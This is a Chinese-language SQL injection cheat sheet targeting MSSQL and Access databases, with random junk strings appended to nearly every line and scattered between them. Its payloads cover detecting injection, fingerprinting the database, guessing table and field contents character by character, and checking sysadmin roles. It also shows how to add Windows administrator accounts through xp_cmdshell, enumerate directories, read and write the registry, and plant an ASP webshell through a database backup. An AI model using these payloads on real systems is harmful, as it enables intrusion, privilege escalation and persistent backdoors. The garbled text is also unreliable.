1.判断是否有注入;and 1=1 ;and 1=2 cCuK?3V4K
2.初步判断是否是mssql ;and user>0 [w*]\x'S
a)8;P7
3.注入参数是字符'and [查询条件] and ''=' V"|`Z}XW
@iU(4eX
4.搜索时没过滤参数的'and [查询条件] and '%25'=' b&*)C#7/T
;d.gVR_V
5.判断数据库系统 V2SHF
[#SiwhF|
;and (select count(*) from sysobjects)>0 mssql c :2 w(BVi
":_~(?1+
;and (select count(*) from msysobjects)>0 access )zydD=,bu
\>tx:;D3
C)mR~Ey
o3X0c6uU
6.猜数据库 ;and (select Count(*) from [数据库名])>0 NdmwQJ7e"
uqM=/T^A
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 {pXqw'"1.
P# |}]oG%
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Ck:+F+7_v
_7;D0l
9.(1)猜字段的ascii值(access) M2nWvU$
489xoP
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 G-TD9OgZ
%l3f .
(2)猜字段的ascii值(mssql) #l
6QE=:
[ <j4w
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 wzF%R{;
P&h]uNu
10.测试权限结构(mssql) Q0%s|8Jc
HPXJRQBE
uE}$ZBiq
X>i{288M3
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- cAn_:^
A[`2Mnj
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- !-m 'diE
&
h\!#X0
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- *mz-g7
!E6QED"
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- H@te!EE
i!*8@:VI
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- F+]cFx,/
C[,&Y&`j
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- K@vU_x0Sl
9/=+2SZ
;and 1=(select IS_MEMBER('db_owner'));-- i}O.,iH
G8.nKoHv7x
G0h e'BR
^vJy<
11.添加mssql和系统的帐户 A: O"N
L+CPT
;exec master.dbo.sp_addlogin username;-- oS~;>]W
;exec master.dbo.sp_password null,username,password;-- +OZ\rs
HLC I
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- hOYP~OR
k3T374t1b
;exec master.dbo.xp_cmdshell 'net user username password lMgPwvs'
v\+`n^=
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- r)Ja\;
Y(Y#H$w
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ]QQeUxi
iikMz|:7U
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- q7pe\~q
M[C)b\
<b?$-Rx
x->+wJm@s
12.(1)遍历目录 }tQ^ch; Q
}/4),W@<
;create table dirs(paths varchar(100), id int) d(K}v\3!
Z^J7r&\V
;insert dirs exec master.dbo.xp_dirtree 'c:\' \zeu vD
BZ(DP_}&D
;and (select top 1 paths from dirs)>0 2|&SG3e+(I
ZcN#jnb0/
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 2$'bOo
{$V2L4
R+El/ya:6
[{:
l?
(2)遍历目录 *;F:6p4_
Yq'D-$@
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- #8$"84&N.
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 O=jzz&E+
4HpKKhv"
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 iz 0:
fX2OH)6U
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Hzz v 6k
X6BOB?
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 j_h0hm]
MpTOC&NG%s
!;K zR&
Z)f?X
13.mssql中的存储过程 {&a6<y#-
^b4i9n,t1
xp_regenumvalues 注册表根键, 子键 D=SjCmG
T:" .{h-i
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 211V'|a_>
-`NzBuV$2,
xp_regread 根键,子键,键值名 =ui3I_*)
9ji`.&#
;exec xp_regread =mSu^q(l
'hFL`F*
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ?<T=g
/!N=@z)
xp_regwrite 根键,子键, 值名, 值类型, 值 LQR^lD+_=
=&<d4'(Qk
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 x<7?
;#^ o5ht
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 r`pf%9k
X]o"vx%C
xp_regdeletevalue 根键,子键,值名 nb ?(zDJ8
cI&XsnY
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 Gzs$0Ki=
sY1.z5"Mm
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 4_# (y^9
K &%8w
nTD4^'
57q?:M=^
14.mssql的backup创建webshell 8c>xgFWp9
C;%dZ
use model 5hh6;)
LnM$@
create table cmd(str image); ;%k C?Vzi
z`p9vlS[
insert into cmd(str) values (''); $R+rB;=a!
<AK9HPxP
backup database model to disk='c:\l.asp'; .Hk.'>YR
R7KV
@n
$<"I*l@
0M?zotv0#
15.mssql内置函数 o' v!83$L
yivWT;`
;and (select @@version)>0 获得Windows的版本号 ~SmFDg$/m
[KCR@__
;and user_name()='dbo' 判断当前系统的连接用户是不是sa @2On`~C`
X4+H8],)
;and (select user_name())>0 爆当前系统的连接用户 bcT'!:
X<5&R{oZ
;and (select db_name())>0 得到当前连接的数据库 jeB"j
qJ .XI
oS}fr?
5"(FilM
16.简洁的webshell abCxB^5VL
CNhLp#
use model G(ZEP.h`u
FGhnK'
create table cmd(str image); A~^x*#q{4
NNwGRoDco
insert into cmd(str) values (''); "{trK?-8%
18p4]:L
backup database model to disk='g:\wwwtest\l.asp';